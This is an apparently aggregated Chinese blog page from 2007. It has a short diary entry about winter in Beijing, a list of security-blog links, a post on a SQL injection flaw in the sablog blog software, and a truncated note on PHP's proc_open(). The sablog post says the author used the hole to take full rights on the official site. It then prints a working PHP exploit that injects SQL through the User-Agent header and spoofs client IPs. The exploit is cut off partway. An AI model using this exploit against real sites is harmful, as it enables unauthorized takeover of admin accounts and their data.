感受冬日
十一月 29, 2007 | 数据结构算法 | RSS 2.0
今天跑步上班,很早的,才刚刚七点我都爬起来,走在林荫的小路上开到飘落的落叶,才感觉到冬日的凉意,来北京已经几天了,真的开始有点喜欢上这里,这里的文明,这里的方便,呼吸着清新的空气,丝毫感觉不到这样大的城市被现代工业化污染过,我说的是我住的地方,呵呵。好好工作,积极锻炼身体
一闪而过的思想,曾在这里短暂的停留
今天跑步上班,很早的,才刚刚七点我都爬起来,走在林荫的小路上开到飘落的落叶,才感觉到冬日的凉意,来北京已经几天了,真的开始有点喜欢上这里,这里的文明,这里的方便,呼吸着清新的空气,丝毫感觉不到这样大的城市被现代工业化污染过,我说的是我住的地方,呵呵。好好工作,积极锻炼身体
http://amxku.net/flashfxp-password/
http://www.icylife.net/yunshu/index.php?sortid=2&page=2
http://cnhawkwing.javaeye.com/blog/69100
http://ghostking.blog.china.com/200710/1052835.html
看的出都是个牛人
sablog是国内安全研究人员写的一款blog程序,但是代码中有一点瑕疵导致可能被获取管理员权限:)
问题出在wap/index.php里的652行左右
————
$hash = getuserhash($user['userid'], $user['username'], $user['password'], $user['logincount']+1);
$DB->query(”delete FROM {$db_prefix}sessions where uid=’”.$user['userid'].”‘ or lastactivity+3600<’$timestamp’ or hash=’$hash’”);
$DB->query(”insert INTO {$db_prefix}sessions (hash,uid,groupid,ipaddress,agent,lastactivity) VALUES (’$hash’, ’”.$user['userid'].”‘, ’”.$user['groupid'].”‘, ’$onlineip’, ’”.$_SERVER['HTTP_USER_AGENT'].”‘, ’$timestamp’)”);
————-
注意_SERVER变量是直接入库的,存在一个insert类型的注射,我们通过这个漏洞测试过了官方,顺利拿到了所有权限,呵呵.
这个地方要求是php5的,作者一时疏忽吧,贴出我们当时使用的exp
<?php
//from loveshell.net
$url = $argv[1].'/wap/index.php';
$username = $argv[2];
$password = $argv[3];
echo" +----------------------------------------------------------------+";
echo" Uage: php.exe blogurl username password";
echo" example php.exe http://www.loveshell.net/blog test test";
echo" +----------------------------------------------------------------+";
if(!$username||!$password) die;
echo" root@localhost:Post our content";
$str = 'username='.$username.'&password='.$password.'&action=login&do=login&';
$msg = myrequest($str,$url);
echo $msg;
if(strpos($msg,'登陆成功')!==false) echo" root@localhost:All Done!!! ";
else echo" root@localhost:Login error!!! ";
echo" +----------------------------------------------------------------+";
echo" Enjoy yourself.";
echo" +----------------------------------------------------------------+";
function myrequest($msg,$url,$type=2,$cookie=''){
//change type for post/get
global $sql;
$urls = initurl($url);
$iprand = rand(1,255).'.'.rand(1,255).'.'.rand(1,255).'.'.rand(1,255);
$fp = @fsockopen($urls['host'], $urls['port'], $errno, $errstr, 3);
if($fp) {
if($type==1){
fputs($fp, "GET $urls[path]?$urls[query] HTTP/1.1");
fputs($fp, "Host: $urls[host]");
fputs($fp, "Accept: */*");
fputs($fp, "Referer: $urls[url]");
fputs($fp, "User-Agent: Mozilla/4.0 (compatible; MSIE 5.00; Windows 98)");
fputs($fp, "CLIENT_IP: $iprand");
fputs($fp, "X_FORWARDED-FOR: $iprand");
fputs($fp, "Pragma: no-cache");
fputs($fp, "Cache-Control: no-cache");
fputs($fp, "Connection: Keep-Alive");
fputs($fp, "Cookie: $cookie");
}else{
fputs($fp, "POST $urls[path]?$urls[query] HTTP/1.1");
fputs($fp, "Accept: application/x-shockwave-flash, image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*");
fputs($fp, "Referer: $urls[url]");
fputs($fp, "Accept-Language: zh-cn");
fputs($fp, "Content-Type: application/x-www-form-urlencoded");
// fputs($fp, "User-Agent: ',1),((select concat(0x2f,groupid,0x2f,logincount) from angel_users limit 1),1,1,'211.43.206.208','123");
fputs($fp, "User-Agent: ',1),('9c5b71e5',1,1,'211.43.206.202','9989581653");
fputs($fp, "CLIENT_IP: $iprand");
fputs($fp, "X_FORWARDED-FOR: $iprand");
fputs($fp, "Host: $urls[host]");
fputs($fp, "Content-Length: ".strlen($msg)."");
fputs($fp, "Connection: Keep-Alive");
fputs($fp, "Cache-Control: no-cache");
fputs($fp, "Cookie: $cookie");
fputs($fp, $msg."");
}
}
while($fp&&!feof($fp)) {
$resp .= fread($fp,1024);
}
return $resp;
}
function initurl($url) {
$newurl = '';
$blanks = array('url'=>'');
$urls = $blanks;
if(strlen($url)<10) return $blanks;
$urls = @parse_url($url);
if(empty($urls) || !is_array($urls)) return $blanks;
if(empty($urls['scheme']))   ...
使用proc_open()打开一个指向进程的管道,发送手机视频广告
2007-04-13 17:17
手机视频广告,用PHP发送视频广告,需要通过PHP执行一个外部发送视频命令。 可以写PHP扩展来完成,本人没有那个能力及时间,故使用exec()这个函数来完成。 passthru(),exec(),system() 这三个函数功能相似.passthru无法接受输出值,system只接收最后以行输出,exec可以完全接收输出. 见如下passthru的一个例子: 文件名称:../passthru.php
使用如上的方法,当发送若干视频广告时候,需要使用exec调用若干次发送程序,或者让发送程序一次接收若干手机号码,有发送程序循环处理. 较好的办法是打开一个指向进程的管道,然后每次发送一个广告,如下: 文件名称:../popen.php
popen() 它是单向的(只能用于读或写),我们需要获得发送结果,proc_open()来完成双向支持功能: 文件名称:../proc_open.php
|